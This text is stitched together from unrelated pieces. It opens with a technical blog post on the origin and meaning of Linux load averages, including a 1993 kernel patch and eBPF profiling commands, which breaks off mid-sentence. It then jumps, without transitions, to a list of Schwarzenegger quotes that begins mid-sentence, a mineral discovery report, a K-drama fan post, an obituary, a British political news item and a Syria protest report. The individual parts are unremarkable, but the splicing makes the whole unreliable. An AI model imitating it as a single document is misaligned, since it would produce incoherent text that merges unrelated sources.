Understanding why something changed in Linux is easy: you read the git commit history on the file in question and read the change description. I checked the history on loadavg.c, but the change that added the uninterruptible state predates that file, which was created with code from an earlier file. I checked the other file, but that trail ran cold as well: the code itself has hopped around different files. Hoping to take a shortcut, I dumped "git log -p" for the entire Linux github repository, which was 4 Gbytes of text, and began reading it backwards to see when the code first appeared. This, too, was a dead end. The oldest change in the entire Linux repo dates back to 2005, when Linus imported Linux 2.6.12-rc2, and this change predates that.
There are historical Linux repos (here and here), but this change description is missing from those as well. Trying to discover, at least, when this change occurred, I searched tarballs on kernel.org and found that it had changed by 0.99.15, and not by 0.99.13 – however, the tarball for 0.99.14 was missing. I found it elsewhere, and confirmed that the change was in Linux 0.99 patchlevel 14, Nov 1993. I was hoping that the release description for 0.99.14 by Linus would explain the change, but that too, was a dead end:
"Changes to the last official release (p13) are too numerous to mention (or even to remember)..." – Linus
He mentions major changes, but not the load average change.
Based on the date, I looked up the kernel mailing list archives to find the actual patch, but the oldest email available is from June 1995, when the sysadmin writes:
"While working on a system to make these mailing archives scale more effecitvely I accidently destroyed the current set of archives (ah whoops)."
My search was starting to feel cursed. Thankfully, I found some older linux-devel mailing list archives, rescued from server backups, often stored as tarballs of digests. I searched over 6,000 digests containing over 98,000 emails, 30,000 of which were from 1993. But it was somehow missing from all of them. It really looked as if the original patch description might be lost forever, and the "why" would remain a mystery.
The origin of uninterruptible
Fortunately, I did finally find the change, in a compressed mailbox file from 1993 on oldlinux.org. Here it is:
From: Matthias Urlichs <[email protected]> Subject: Load average broken? Date: Fri, 29 Oct 1993 11:37:23 +0200 The kernel only counts "runnable" processes when computing the load average. I don't like that; the problem is that processes which are swapping or waiting on "fast", i.e. noninterruptible, I/O, also consume resources. It seems somewhat nonintuitive that the load average goes down when you replace your fast swap disk with a slow swap disk... Anyway, the following patch seems to make the load average much more consistent WRT the subjective speed of the system. And, most important, the load is still zero when nobody is doing anything. ;-) --- kernel/sched.c.orig Fri Oct 29 10:31:11 1993 +++ kernel/sched.c Fri Oct 29 10:32:51 1993 @@ -414,7 +414,9 @@ unsigned long nr = 0; for(p = &LAST_TASK; p > &FIRST_TASK; --p) - if (*p && (*p)->state == TASK_RUNNING) + if (*p && ((*p)->state == TASK_RUNNING) || + (*p)->state == TASK_UNINTERRUPTIBLE) || + (*p)->state == TASK_SWAPPING)) nr += FIXED_1; return nr; } -- Matthias Urlichs \ XLink-POP N|rnberg | EMail: [email protected] Schleiermacherstra_e 12 \ Unix+Linux+Mac | Phone:...please use email. 90491 N|rnberg (Germany) \ Consulting+Networking+Programming+etc'ing 42
It's amazing to read the thoughts behind this change from almost 24 years ago.
This confirms that the load averages were deliberately changed to reflect demand for other system resources, not just CPUs. Linux changed from "CPU load averages" to what one might call "system load averages".
His example of using a slower swap disk makes sense: by degrading the system's performance, the demand on the system (measured as running + queued) should increase. However, load averages decreased because they only tracked the CPU running states and not the swapping states. Matthias thought this was nonintuitive, which it is, so he fixed it.
Uninterruptible today
But don't Linux load averages sometimes go too high, more than can be explained by disk I/O? Yes, although my guess is that this is due to a new code path using TASK_UNINTERRUPTIBLE that didn't exist in 1993. In Linux 0.99.14, there were 13 codepaths that directly set TASK_UNINTERRUPTIBLE or TASK_SWAPPING (the swapping state was later removed from Linux). Nowadays, in Linux 4.12, there are nearly 400 codepaths that set TASK_UNINTERRUPTIBLE, including some lock primitives. It's possible that one of these codepaths should not be included in the load averages. Next time I have load averages that seem too high, I'll see if that is the case, and if it can be fixed.
I emailed Matthias (for the first time) to ask what he thought about his load average change almost 24 years later. He responded in one hour (as I mentioned on Twitter), and wrote:
"The point of "load average" is to arrive at a number relating how busy the system is from a human point of view. TASK_UNINTERRUPTIBLE means (meant?) that the process is waiting for something like a disk read which contributes to system load. A heavily disk-bound system might be extremely sluggish but only have a TASK_RUNNING average of 0.1, which doesn't help anybody."
(Getting a response so quickly, or even a response at all, really made my day. Thanks!)
So Matthias still thinks it makes sense, at least given what TASK_UNINTERRUPTIBLE used to mean.
But TASK_UNITERRUPTIBLE matches more things today. Should we change load averages to be just CPU and disk demand? Scheduler maintainer Peter Zijstra has already sent me one clever option to explore for doing this: include task_struct->in_iowait in load averages instead of TASK_UNINTERRUPTIBLE, so that it more closely matches disk I/O. It begs another question, however, which is what do we really want? Do we want to measure demand on the system in terms of threads, or just demand for physical resources? If it's the former, then waiting on uninterruptible locks should be included as those threads are demand on the system. They aren't idle. So perhaps Linux load averages already work the way we want them to.
To better understand uninterruptible code paths, I'd like a way to measure them in action. Then we can examine different examples, quantify time spent in them, and see if it all makes sense.
Measuring uninterruptible tasks
The following is an Off-CPU flame graph from a production server, spanning 60 seconds and showing kernel stacks only, where I'm filtering to only include those in the TASK_UNINTERRUPTIBLE state (SVG). It provides many examples of uninterruptible code paths:
If you are new to off-CPU flame graphs: you can click on frames to zoom in, examining the full stacks which appear as a tower of frames. The x-axis size is proportional to the time spent blocked off-CPU, and the sort order (left to right) has no real meaning. The color is blue for off-CPU stacks (I use warm colors for on-CPU stacks), and the saturation has random variance to differentiate frames.
I generated this using my offcputime tool from bcc (this tool needs eBPF features from Linux 4.8+), and my flame graph software:
#./bcc/tools/offcputime.py -K --state 2 -f 60 > out.stacks # awk '{ print $1, $2 / 1000 }' out.stacks |./FlameGraph/flamegraph.pl --color=io --countname=ms > out.offcpu.svgb>
I'm using awk to change the output from microseconds to milliseconds. The offcputime "--state 2" matches on TASK_UNINTERRUPTIBLE (see sched.h), and is an option I just added for this post. Facebook's Josef Bacik first did this with his kernelscope tool, which also uses bcc and flame graphs. In my examples, I'm just showing the kernel stacks, but offcputime.py supports showing the user stacks as well.
As for the flame graph above: it shows that only 926 ms out of 60 seconds were spent in uninterruptible sleep. That's only adding 0.015 to our load averages. It's time in some cgroup paths, but this server is not doing much disk I/O.
Here is a more interesting one, this time only spanning 10 seconds (SVG):
The wide tower on the right is showing systemd-journal in proc_pid_cmdline_read() (reading /proc/PID/cmdline), getting blocked, and contributing 0.07 to the load average. And there is a wider page fault tower on the left, that also ends up in rwsem_down_read_failed() (adding 0.23 to the load average). I've highlighted those functions in magenta using the flame graph search feature. Here's an excerpt from rwsem_down_read_failed():
/* wait to be given the lock */ while (true) { set_task_state(tsk, TASK_UNINTERRUPTIBLE); if (!waiter.task) break; schedule(); }
This is lock acquisition code that's using TASK_UNINTERRUPTIBLE. Linux has uninterruptible and interruptible versions of mutex acquire functions (eg, mutex_lock() vs mutex_lock_interruptible(), and down() and down_interruptible() for semaphores). The interruptible versions allow the task to be interrupted by a signal, and then wake up to process it before the lock is acquired. Time in uninterruptible lock sleeps usually don't add much to the load averages, but in this case they are adding 0.30. If this was much higher, it would be worth analyzing to see if lock contention could be reduced (eg, I'd start digging on systemd-journal and proc_pid_cmdline_read()!), which should improve performance and lower the load average.
Does it make sense for these code paths to be included in the load average? Yes, I'd say so. Those threads are in the middle of doing work, and happen to block on a lock. They aren't idle. They are demand on the system, albeit for software resources rather than hardware resources.
Decomposing Linux load averages
Can the Linux load average value be fully decomposed into components? Here's an example: on an idle 8 CPU system, I launched tar to archive some uncached files. It spends several minutes mostly blocked on disk reads. Here are the stats, collected from three different terminal windows:
terma$ pidstat -p `pgrep -x tar` 60 Linux 4.9.0-rc5-virtual (bgregg-xenial-bpf-i-0b7296777a2585be1) 08/01/2017 _x86_64_ (8 CPU) 10:15:51 PM UID PID %usr %system %guest %CPU CPU Command 10:16:51 PM 0 18468 2.85 29.77 0.00 32.62 3 tar termb$ iostat -x 60 [...] avg-cpu: %user %nice %system %iowait %steal %idle 0.54 0.00 4.03 8.24 0.09 87.10 Device: rrqm/s wrqm/s r/s w/s rkB/s wkB/s avgrq-sz avgqu-sz await r_await w_await svctm %util xvdap1 0.00 0.05 30.83 0.18 638.33 0.93 41.22 0.06 1.84 1.83 3.64 0.39 1.21 xvdb 958.18 1333.83 2045.30 499.38 60965.27 63721.67 98.00 3.97 1.56 0.31 6.67 0.24 60.47 xvdc 957.63 1333.78 2054.55 499.38 61018.87 63722.13 97.69 4.21 1.65 0.33 7.08 0.24 61.65 md0 0.00 0.00 4383.73 1991.63 121984.13 127443.80 78.25 0.00 0.00 0.00 0.00 0.00 0.00 termc$ uptime 22:15:50 up 154 days, 23:20, 5 users, load average: 1.25, 1.19, 1.05 [...] termc$ uptime 22:17:14 up 154 days, 23:21, 5 users, load average: 1.19, 1.17, 1.06
I also collected an Off-CPU flame graph just for the uninterruptible state (SVG):
The final one minute load average is 1.19. Let me decompose that:
0.33 is from tar's CPU time (pidstat)
0.67 is from tar's uninterruptible disk reads, inferred (offcpu flame graph has this at 0.69, I suspect as it began collecting a little later and spans a slightly different time range)
0.04 is from other CPU consumers (iostat user + system, minus tar's CPU from pidstat)
0.11 is from kernel workers uninterruptible disk I/O time, flushing disk writes (offcpu flame graph, the two towers on the left)
That adds up to 1.15. I'm still missing 0.04, some of which may be rounding and measurement interval offset errors, but a lot may be due to the load average being an exponentially-damped moving sum, whereas the other averages I'm using (pidstat, iostat) are normal averages. Prior to 1.19, the one minute average was 1.25, so some of that will still be dragging us high. How much? From my earlier graphs, at the one minute mark, 62% of the metric was from that minute, and the rest was older. So 0.62 x 1.15 + 0.38 x 1.25 = 1.18. That's pretty close to the 1.19 reported.
This is a system where one thread (tar) plus a little more (some time in kernel worker threads) are doing work, and Linux reports the load average as 1.19, which makes sense. If it was measuring "CPU load averages", the system would have reported 0.37 (inferred from mpstat's summary), which is correct for CPU resources only, but hides the fact that there is demand for over one thread's worth of work.
I hope this example shows that the numbers really do mean something deliberate (CPU + uninterruptible), and you can decompose them and figure it out.
Making sense of Linux load averages
I grew up with OSes where load averages meant CPU load averages, so the Linux version has always bothered me. Perhaps the real problem all along is that the words "load averages" are about as ambiguous as "I/O". Which type of I/O? Disk I/O? File system I/O? Network I/O?... Likewise, which load averages? CPU load averages? System load averages? Clarifying it this way lets me make sense of it like this:
On Linux, load averages are (or try to be) " system load averages ", for the system as a whole, measuring the number of threads that are working and waiting to work (CPU, disk, uninterruptible locks). Put differently, it measures the number of threads that aren't completely idle. Advantage: includes demand for different resources.
", for the system as a whole, measuring the number of threads that are working and waiting to work (CPU, disk, uninterruptible locks). Put differently, it measures the number of threads that aren't completely idle. Advantage: includes demand for different resources. On other OSes, load averages are "CPU load averages", measuring the number of CPU running + CPU runnable threads. Advantage: can be easier to understand and reason about (for CPUs only).
Note that there's another possible type: "physical resource load averages", which would include load for physical resources only (CPU + disk).
Perhaps one day we'll add additional load averages to Linux, and let the user choose what they want to use: a separate "CPU load averages", "disk load averages", "network load averages", etc. Or just use different metrics altogether.
What is a "good" or "bad" load average?
Load averages measured in a modern tool
Some people have found values that seem to work for their systems and workloads: they know that when load goes over X, application latency is high and customers start complaining. But there aren't really rules for this.
With CPU load averages, one could divide the value by the CPU count, then say that if that ratio is over 1.0 you are running at saturation, which may cause performance problems. It's somewhat ambiguous, as it's a long-term average (at least one minute) which can hide variation. One system with a ratio of 1.5 might be running fine, whereas another at 1.5 that was bursty within the minute might be performing badly.
I once administered a two-CPU email server that during the day ran with a CPU load average of between 11 and 16 (a ratio of between 5.5 and 8). Latency was acceptable and no one complained. That's an |
the most creative killings, and this went on and on and on. So the movies became better and better because of it. And eventually, we grew up, right?" he said. We were doing Planet Hollywood together and we were laughing about it on the plane when we flew around. We've become very good friends, and I'm a big supporter of Sly, because I really always thought I admired him, even though there was competition. He's a great director, he's a great writer, a great actor, a great producer and also a fantastic artist. His paintings are great. And he's a great family man. He has it all.
I have a love interest in every one of my films: a gun.
I would never exchange my life with anybody else's.
If my life was a movie, no one would believe it.
No matter the nationality, no matter the religion, no matter the ethnic background, America brings out the best in people.
I went from being the Terminator to being the governator.
I know a lot of athletes and models are written off as just bodies. I never felt used for my body.
I just use my muscles as a conversation piece, like someone walking a cheetah down 42nd Street.
I was striving to be the most muscular man, and it got me into the movies. It got me everything that I have.
Failure is not an option. Everyone has to succeed.
I am a big believer in education, because when I grew up in Austria - when I grew up in Austria I had a great education. I had great teachers.
Even with my divorce and with everything, I don't need money.
I don't suffer of anything that I've lost.
I think that people are interested seeing me on the screen.
You know, nothing is more important than education, because nowhere are our stakes higher; our future depends on the quality of education of our children today.
I have a private plane. But I fly commercial when I go to environmental conferences.
There is no place, no country, more compassionate more generous more accepting and more welcoming than the United States of America.
Strength does not come from winning. Your struggles develop your strengths. When you go through hardships and decide not to surrender, that is strength.
People need to be insured so when you have an accident out there, or when something catastrophic happens to you, that you're covered and there's not someone else has to pay for you. That is as simple as that.
The biggest problem that we have is that California is being run now by special interests. All of the politicians are not anymore making the moves for the people, but for special interests and we have to stop that.
To restore the trust of the people, we must reform the way the government operates.
The worst thing I can be is the same as everybody else. I hate that.
I'm addicted to exercising and I have to do something every day.
Political courage is not political suicide.
I made my fair share of mistakes.
In our society, the women who break down barriers are those who ignore limits.
Politically there were failures. And also on the personal level, there were tremendous failures.
Start wide, expand further, and never look back.
Everything I have, my career, my success, my family, I owe to America.
When the people become involved in their government, government becomes more accountable, and our society is stronger, more compassionate, and better prepared for the challenges of the future.
I think that gay marriage should be between a man and a woman.
Help others and give something back. I guarantee you will discover that while public service improves the lives and the world around you, its greatest reward is the enrichment and new meaning it will bring your own life.
One of my movies was called True Lies (1994). It's what the Democrats should have called their convention.
[He was being asked on what kind of Terminator he will be playing in Terminator Genisys (2015)] It's a character that has been programmed to protect them, to protect Sarah Connor, but I'm basically the same Terminator. I will destroy anything that's in front of me in order to save her.
The last three or four reps is what makes the muscle grow. This area of pain divides the champion from someone else who is not a champion. That's what most people lack, having the guts to go on and just say they'll go through the pain no matter what happens.
Freedom is a right ultimately defended by the sacrifice of America's servicemen and women.
As you know, I'm an immigrant. I came over here as an immigrant, and what gave me the opportunities, what made me to be here today, is the open arms of Americans. I have been received. I have been adopted by America.
Well, you know, I'm the forever optimist.
I have plenty of money, unlike other Hollywood celebrities or athletes that have not invested well.
As president, Reagan worked very well with Democrats to do big things. It is true that he worked to reduce the size of government and cut federal taxes and he eliminated many regulations, but he also raised taxes when necessary.
The mind is the limit. As long as the mind can envision the fact that you can do something, you can do it, as long as you really believe 100 percent.
[on what is like getting back into The Terminator character for Terminator Genisys (2015)] It's like you've been doing it your whole life, because I'm very passionate about the character. I think it's a great, interesting character. I think it's a great story. The whole concept that Cameron had way back in the early '80s, of creating a world where machines take over and things becoming a reality that no one could even think of in those days. It's really been great, because the whole team is really into going all out. It is fun to be in a movie like that. The studio is very enthusiastic about the Terminator movie - the producers, the director, they're very talented and great visionaries. You can tell, the stages - everything is really big and exciting. It's been a great experience.
Well, I think that California has had a history of always spending more money than it takes in.
Gray Davis can run a dirty campaign better than anyone, but he can't run a state.
What we face may look insurmountable. But I learned something from all those years of training and competing. I learned something from all those sets and reps when I didn't think I could lift another ounce of weight. What I learned is that we are always stronger than we know.
I welcome and seek your ideas, but do not bring me small ideas; bring me big ideas to match our future.
I'm not perfect.
I believe with all my heart that America remains 'the great idea' that inspires the world. It is a privilege to be born here. It is an honor to become a citizen here. It is a gift to raise your family here, to vote here, and to live here.
If you work hard and play by the rules, this country is truly open to you. You can achieve anything.
My relationship to power and authority is that I'm all for it. People need somebody to watch over them. Ninety-five percent of the people in the world need to be told what to do and how to behave.
You can scream at me, call me for a shoot at midnight, keep me waiting for hours - as long as what ends up on the screen is perfect.
I was born in Europe... and I've traveled all over the world. I can tell you that there is no place, no country, that is more compassionate, more generous, more accepting, and more welcoming than the United States of America.
I am the most helpful and open up doors for everyone and I like to share.
[He was being asked how long it takes to put on the prosthetics for Terminator Genisys (2015)] I think it was two and a half hours. But it's not every day. It depends which stage we're in the story. So this is getting now towards the end. It gets more and more severe.
Women are the engine driving the growth in California's economy. Women make California's economy unique.
Milk is for babies. When you grow up you have to drink beer.
I came to Hollywood and within a decade I was one of the biggest action stars of all time.
Government's first duty and highest obligation is public safety.
I feel good because I believe I have made progress in rebuilding the people's trust in their government.
I do the same exercises I did 50 years ago and they still work. I eat the same food I ate 50 years ago and it still works.
Bodybuilding is much like any other sport. To be successful, you must dedicate yourself 100% to your training, diet and mental approach.
My own dreams fortunately came true in this great state. I became Mr. Universe; I became a successful businessman. And even though some people say I still speak with a slight accent, I have reached the top of the acting profession.
Maria is the best reason to come home.
For 20 years, Simon & Schuster asked me, 'Why don't you write your autobiography?'
If it bleeds, we can kill it.
The resistance that you fight physically in the gym and the resistance that you fight in life can only build a strong character.
Training givesA multinational group of scientists led by Dr Peter Elliott of South Australian Museum and the University of Adelaide has described a new mineral from the Polar Bear peninsula, Southern Lake Cowan, Australia.
The new mineral is named putnisite after Drs Christine and Andrew Putnis from the University of Münster, Germany, for their outstanding contributions to mineralogy.
Putnisite occurs as isolated pseudocubic crystals, up to 0.5 mm in diameter, and is associated with quartz and a near amorphous Cr silicate.
It is translucent, with a pink streak and vitreous lustre. It is brittle and shows one excellent and two good cleavages parallel to {100}, {010} and {001}.
“What defines a mineral is its chemistry and crystallography. By x-raying a single crystal of mineral you are able to determine its crystal structure and this, in conjunction with chemical analysis, tells you everything you need to know about the mineral,” explained Dr Elliott, who, along with colleagues, described putnisite in the Mineralogical Magazine.
“Most minerals belong to a family or small group of related minerals, or if they aren’t related to other minerals they often are to a synthetic compound – but putnisite is completely unique and unrelated to anything.”
Putnisite combines the elements strontium, calcium, chromium, sulfur, carbon, oxygen and hydrogen:
SrCa 4 Cr 8 3+(CO 3 ) 8 SO 4 (OH) 16 •25H 2 O
The mineral has a Mohs hardness of 1.5–2, a measured density of 2.20 g/cm3 and a calculated density of 2.23 g/cm3. It was discovered during prospecting by a mining company in Western Australia.
“Nature seems to be far cleverer at dreaming up new chemicals than any researcher in a laboratory,” Dr Elliott concluded.
______Guess who turns 30 years old today? Our very own Ji Chang Wook celebrates his birthday on 5 July, and Ji Chang Wook’s Kitchen sends along its wishes for a very happy day, with many more to follow! This day also marks our site’s second anniversary! Woo hoo!!
We both were racking our brains trying to figure out something special to commemorate this momentous event. For his drama debut 7th anniversary last year (here and here), we posted each of our personal favorite Ji Chang Wook drama characters, so this year we decided to flip that around and suggest what roles we would see Ji Chang Wook take on for any of his future dramas.
We’ve already watched Wook’s on-screen performances as a schoolboy, chef, warrior swordsman, vegetable seller, pianist, Emperor, and night courier. Hopefully soon we will see him portray an unemployed gamer, day-and-night twins, and a yuan wu dao instructor. You may be thinking, “Wow! So many characters have already been added to his career portfolio. What other roles would there be available for him to take on?” Well, fret no more – The Kitchen came up with four different possibilities for your consideration. Read along and see if any of these could also be your picks as well!
Entertainer
cherkell: If you’re that comfortable with who you are in life, why not transfer that to the small screen? The role Ji Chang Wook was born to play – but has yet to attempt in a drama to date – would be the obvious: Entertainer. Such character would encompass anything related to acting, singing, dancing (hm, maybe not), modelling… anyone playing a part in the entertainment world as we know it today. I can already hear you screaming “typecasting much?” but playing yourself is much harder than it looks.
Gabby: On the contrary, I’m not too keen on him acting as a celebrity, especially if the show is going to be about rookie entertainers achieving their dreams like “Entertainer” or “Dream High”. Somehow, high school and music dramas with pretty young things are just not my cup of tea. Ironically, “You’re Beautiful”, a rom-com involving a cross-dressing girl in a band, was one of the first few Korean dramas I loved, but today, I wouldn’t be as interested to watch such a drama. I guess I’ve out-grown that phase. If he stars as a musician, he will also be scrutinised for his singing. He may be a musical actor with decent singing abilities, but I wouldn’t rate his singing as superb, so having him star as a highly successful vocalist in a music drama would be quite a stretch for me.
cherkell: This drama could fall into any of the standard known genres: rom-com, melo, or makjang. Probably wouldn’t work well with a sageuk (unless there’s gayageum lessons in someone’s future). To make it even more interesting, a “mockumentary” format along the lines of “This Is Spinal Tap” would be awesome! But this is Korea we’re talking about, and most tongue-in-cheek comedy does not play well with the home folks so it would have to stick to the tried and true plotlines. (Breaking that ‘fourth wall’ with the audience didn’t work for “Producers,” so it probably would not work here either.) I think Wook would be able to play such a role only if the role was written where it didn’t mirror his own life too closely and make him uncomfortable. And an Uncomfortable Wook would not be a Fun Wook to watch at all.
Gabby: True, the drama need not be solely be about showbiz. I probably wouldn’t mind if he stars as a celebrity in a show that deals with a heavier topic. Good examples would be Kim Ki Duk’s acclaimed movie “Rough Cut” starring So Ji Sub and Kang Ji Hwan, which touched on the blurring of lines between reel and real life when a real mobster agrees to work with an arrogant actor in a movie; and the follow-up movie “Rough Play” by the same director, which showed the dark side of the entertainment world where an actor (played by Lee Joon) loses his morals when he suddenly gets famous. Disregarding the amount of sex and violence in both movies, I thought they were very contemplative and meaningful works with a strong message. I know we’ll enjoy seeing Ji Chang Wook look handsome and glamorous if he acts as a celebrity, but I’d definitely like some depth in the story rather than just the pretty alone.
Law Enforcer
Gabby: I LOVE crime stories, and I’m aghast that Ji Chang Wook still hasn’t gotten himself a role in a crime drama despite all these years that he has been acting. He stars as a fugitive in his upcoming movie “Fabricated City”, so I guess that’s a good first step into the crime genre. But I would still love to see him play a detective, prosecutor, criminal profiler, or anyone in the police force. Heck, he could act as an intern at the police station who ends up aiding the police on the side and I’ll still watch it! Ideally, I want to see him using his brains and sleuthing around like Sherlock Holmes with a trench coat in a crime procedural series like OCN’s “Special Affairs Team TEN” or tvN’s “Signal”. The crime dramas that I love usually have little or no romance at all, which is a good thing for me, but not a good thing for those who enjoy shipping the OTP couple in the dramas they watch. Last year’s “I Remember You” (which starred his buddy Seo In Guk) was a crime drama that had a good mix of romance and comedy though. Crime dramas rarely do well in viewership ratings too, but again, there are always exceptions like “Signal”.
cherkell: Until recently, Korean drama “crime stories” seemed to be an untapped genre, mostly because they hit too close to home with the country’s ongoing real-life corruptions. You cannot open a single newspaper these days without a new scandal blazen across the headlines, and I think drama viewers may want to watch a show for escapeism — shows that do not reflect what’s going on in real life. (I never watch legal-based dramas for that very reason.) Sadly, with the recent popularity of “Signal,” it seems everyone and their dog is now attempting to write a crime drama storyline to piggyback onto that show’s success. Maybe Ji Chang Wook should stay away from this genre for the simple fact that such a role may be unfairly compared to “Healer.” His character in “Healer” basically was a combination of detective and vigilante, and any future attempt to portray someone in the police field could also be unfairly construed as trying to make a “Healer 2.” But all in all, my interest would be piqued over a potential cop-bromance pairing with noraebang buddies Wook and Seo In Guk. (Any interested scriptwriters reading this? Give me a call.)
Gabby: Oh yes! I would definitely love to see these two on screen together, especially since Seo In Guk has already openly expressed his wish to work with Wook. But back to the topic. I wouldn’t consider “Healer” a crime drama, but more of an action drama since he wasn’t exactly on the “good” side of the law. While it is true that crime dramas deal with heavy subject matter that do not make for a relaxing watch after a hard day’s work, I will still prefer this over a melodrama. Just a personal preference. Well, if modern-day police dramas are too common, he can always be a Joseon detective!
Politician/Judge/Lawyer
cherkell: These three roles basically fall into the same legal-type category, so that’s why I’ve lumped them together. I think Ji Chang Wook would fit seamlessly into a role as a politician or some form of government official. Who would think that someone at such a tender age could be a prime candidate for public office, let alone joining the ranks with other Korean government officials. This fish-out-of-water storyline was recently aired by the KBS2 drama “Assembly,” in which a random blue-collar worker found himself in the not-envious position running for public office. Wook could be the perfect foil as the young neophyte with no experience whatsoever taking on the big bad world of the Political Elite and working towards the common good to make the country a better place. Yes, there will be trials and tribulations, ups and downs, maybe a tantrum or two after progress is stifled time and time again. But eventually good always handled with grace and efficiency… in a suit. Believe me, there will be a LOT of suits.
Gabby: Come to think of it, I’ve yet to watch a drama about lawyers or politicians, mainly because they don’t appeal to me. Wook will be the one to introduce me to this genre then. I always have this perception of politicians as old, burly men who are corrupt, so I can’t quite imagine Ji Chang Wook acting as one. He also doesn’t have the strong built or air of authority because of his lean figure. Even though he did a really impressive job as an emperor in “Empress Ki”, his character was ultimately a weak and powerless one. He may be able to project his voice in a way to suit such a role, but I feel his young age, handsome looks and lean figure don’t quite match that of a politician, or even a president. Maybe that can happen when he’s older? People often rise up to such positions when they are much older anyway. At this point, I feel he might be more suited for a role as a lawyer.
cherkell: My thoughts exactly. If Wook wanted to make me a really happy camper, he would truly be most fitting in a role as either a lawyer or judge. Again, with the same basic premise: Along with a trusty sidekick, both of them work tirelessly to rid the world of all the corruption and injustices; fight the good fight against the bad evildoers reigning their evil and badness upon an unsuspecting populace. His sidekick would have to be chosen very carefully, though — I’m SO over the “plucky female [insert type here]” character that ends up falling in love with the lead. There has been a dearth of dramas written where the two leads do NOT end up together at the end of the show, and a legal thriller fits the bill perfectly. This genre could be the perfect opportunity to showcase another great bromance like Wook had with Yoo Seung Ho in “Warrior Baek Dong Soo.” While wearing official judicial robes and official judicial suits. Did I mention suits? (So I’m shallow. Sue me. <g>)
Fantasy Sageuk
Gabby: Ji Chang Wook has starred in a couple of sageuks, but we have yet to see him in the scholarly Joseon attire, even though it seems like most sageuks are often set in the Joseon Dynasty. Sageuks need not always be based on actual history and that gives room for a lot of imagination to even bring in fantasy elements. Sageuks such as “Arang and the Magistrate”, “Gu Family Book” and “Mirror of the Witch” are great examples. I would be ecstatic to see Ji Chang Wook star as a fox demon, a time traveller, a vampire scholar etc.
cherkell: It seems that Lee Joon Gi has pretty much had the corner on the market for fantasy sageuk characters over the past few years; it’s now time for him to relinquish that role for at least one drama, no? I don’t think we’ve ever seen Wook in a gat or yugun with flowing robes befitting his role as either a student studying for civil examinations or a yangban living under cover to hide his status from the monarchy, all the while floating through the woods and fields (robes still flowing in the breeze) while seeking out his prey or stealthily working undercover. We know Wook already possesses great sageuk hair, so no issue there. But I digress…
Gabby: Lee Joon Gi has the looks and the action skills, so he’s a tough match. But I’m sure directors will also want a fresh face to helm their sageuks. I just hope Wook doesn’t end up in one with cheesy special effects like “Night Watchman” or “Jeon Woo Chi”. I don’t have a specific role in mind that I’d like to see Wook take on in this genre. Maybe something more novel than a vampire or time traveller, since these have been done to death. Maybe a grim reaper in billowing black robes, a hotpot-loving goblin (HA!), or even a travelling magician? Throw in some forbidden romance and you’ll get the best of both worlds!
cherkell: This genre could suit Ji Chang Wook very well, if the story is written with a deft touch so it doesn’t turn into “what the heck?” territory. He already has two sageuks under his belt, so the speech patterns required for such a role should not be an issue. And we’ve already seen royal traits in the Emperor from “Empress Ki,” so starring in yet another historical would be second-nature (but then again, I worry about that pesky typecasting). What Wook would have to watch out for is not to play such character for giggles and grins, since he still has that ‘baby face’ that could make the viewing public think that he as a fantasy sageuk character could not be taken seriously. Also, the fantasy sageuk genre seems to be done to death lately, with “Mirror of the Witch” still on air and “Moon Lovers” on its way soon to our small screens. If this genre still is a hot topic in a few years, this character should definitely be one to investigate when Wook makes his comeback after his military service.
*****
Hope you enjoyed our choices for future Ji Chang Wook roles. Maybe he could fit one of these into his already-packed schedule before he disappears for two years while serving his country? When we dream, we dream big!
Now it’s your turn! Let us know in our random, highly-unscientific poll below which one of our picks may be your favorite, or you may even contribute your own ideas in the comments below. Happy voting… and again, very Happy Birthday to Ji Chang Wook!Sam Berns, a Massachusetts high school junior whose life with the illness progeria was the subject of a documentary film recently shortlisted for an Academy Award, died on Friday in Boston. He was 17.
His death, from complications of the disease, was announced by the Progeria Research Foundation, which Sam’s parents, both physicians, established in 1999.
Extremely rare — it affects one in four million to one in eight million births — progeria is a genetic disorder resulting in rapid premature aging. Only a few hundred people have the disease, whose hallmarks include hair loss, stunted growth, joint deterioration and cardiac problems.
Though the gene that causes progeria was isolated in 2003 by a research team that included Sam’s mother, there is still no cure. Patients live, on average, to the age of 13, typically dying of heart attacks or strokes.Companies are forced to invent “disingenuous reasons” to fire staff because employment laws are stacked in favour of staff, the Conservative chairman has claimed.
Grant Shapps indicated a majority Tory government would make it easier for companies to dismiss under-performing workers. Tonight, the party was accused by union chiefs of seeking to strip all protections from employees.
He drew on his experience in business to produce a withering assessment of “crazy” employment laws. Mr Shapps said: “I started a printing company 23 years ago – it still runs to this day – and we always sat there and wondered how it is that when you know that somebody is not working out right for the company, they are just not fitting in to that role, you have to effectively end up coming up with disingenuous reasons why you need to change that role.”
We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.
He said employers were forced to argue a position had been axed or a person was so poor at their job that they had to be sacked.
“That means there are only two ways of dealing with wanting to bring a contract to an end. You either have to pretend the role has gone, or you have to fire the person. That is crazy, it doesn’t stack up to what really happens out there in the real world.”
Mr Shapps added: “We should as a country say there should be a way of saying to people ‘thank you very much, it hasn’t worked out but here’s a decent package for you to move on from this role’.”
The TUC’s general secretary Frances O’Grady said: “People at work should be very afraid. Rather than bearing down on workplace abuses like the misuse of zero-hours contracts, Mr Shapps reveals the priority for a Conservative government would be to make it even easier to sack employees.”
Ian Murray, shadow Business Minister, said: “The Government should be making it easier to hire people, not easier to fire people, but now the Tory chairman is raising serious questions about his own record as an employer.”
Mr Shapps founded his company, PrintHouse Corporation, as a 22-year-old. He stepped down as a director four years ago and still holds shares in the firm.
He has faced questions over an online business he set up to sell self-help guides. Under the pseudonym of Michael Green, he claimed people could make $20,000 in 20 days or get their money back.
I will not stand in 2015, says Boris
Boris Johnson has reassured David Cameron’s allies he will not try to return to the Commons at the 2015 general election. The Mayor of London, whose term of office runs out in three years, has also ruled out standing as a Tory candidate in any by-election before 2015, The Spectator said.
His decision is thought to signal he expects Mr Cameron still to be Prime Minister after the election. But he has not abandoned his ambition to lead the party – and expects his main rival to be Theresa May.
Nigel Morris
We’ll tell you what’s true. You can form your own view.
At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.
Subscribe now.Media playback is unsupported on your device Media caption Amateur video purportedly showing large protests across the country
At least 72 protesters have been killed by security forces in Syria, rights groups say - the highest reported death toll in five weeks of unrest there.
Demonstrators were shot, witnesses say, as thousands rallied across the country, a day after a decades-long state of emergency was lifted.
Many deaths reportedly occurred in a village near Deraa in the south, and in a suburb of the capital, Damascus.
US President Barack Obama called for a halt to the "outrageous" violence.
